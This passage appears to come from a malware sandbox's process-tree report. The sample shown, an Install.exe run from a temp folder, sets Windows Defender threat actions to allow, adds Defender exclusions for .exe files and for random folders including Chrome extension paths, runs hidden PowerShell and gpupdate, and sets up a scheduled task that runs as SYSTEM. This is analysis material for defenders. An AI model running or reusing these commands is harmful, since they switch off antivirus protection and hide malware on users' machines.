        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:4120
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:5372
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:5000
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:5812
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:5292
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:4188
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:5880
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:5884
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:5840
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:5964
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:5448
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:4836
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:3776
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:1536
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:428
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:4548
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:5848
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:4688
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3336
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:4440
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 22:21:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS870D.tmp\Install.exe\" it /rfEdidRLEF 385118 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:5368
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        5⤵
        
        PID:660
      - C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        6⤵
        
        PID:5172
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        7⤵
        
        PID:3768
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
  2⤵
  PID:376

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:5736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4160

C:\Users\Admin\AppData\Local\Temp\7zS71B0.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS71B0.tmp\Install.exe it /zXididQVYK 385118 /S
1⤵
PID:2344
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:6128
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:5836
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:2612
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:3252
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:4136
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:5272
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:6012
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:5948
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:2872
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:4188
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:5792
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:5920
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:5384
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:3844
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:792
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5812
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:6048
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:4932
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4588
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:1324
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4888
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5128
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5920
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4220
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5944
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4240
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5332
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3408
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6040
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3388
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2328
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:440
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5372
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4220
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4576
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4888
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5272
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:800
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:228
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5848
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5856
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1336
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5824
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5424
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5776
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5888
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5112
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:1736
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5636
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:3336
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2196
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:6104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2176
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3844
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5240
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5676
- - C:\Windows\SysWOW64\reg.exe
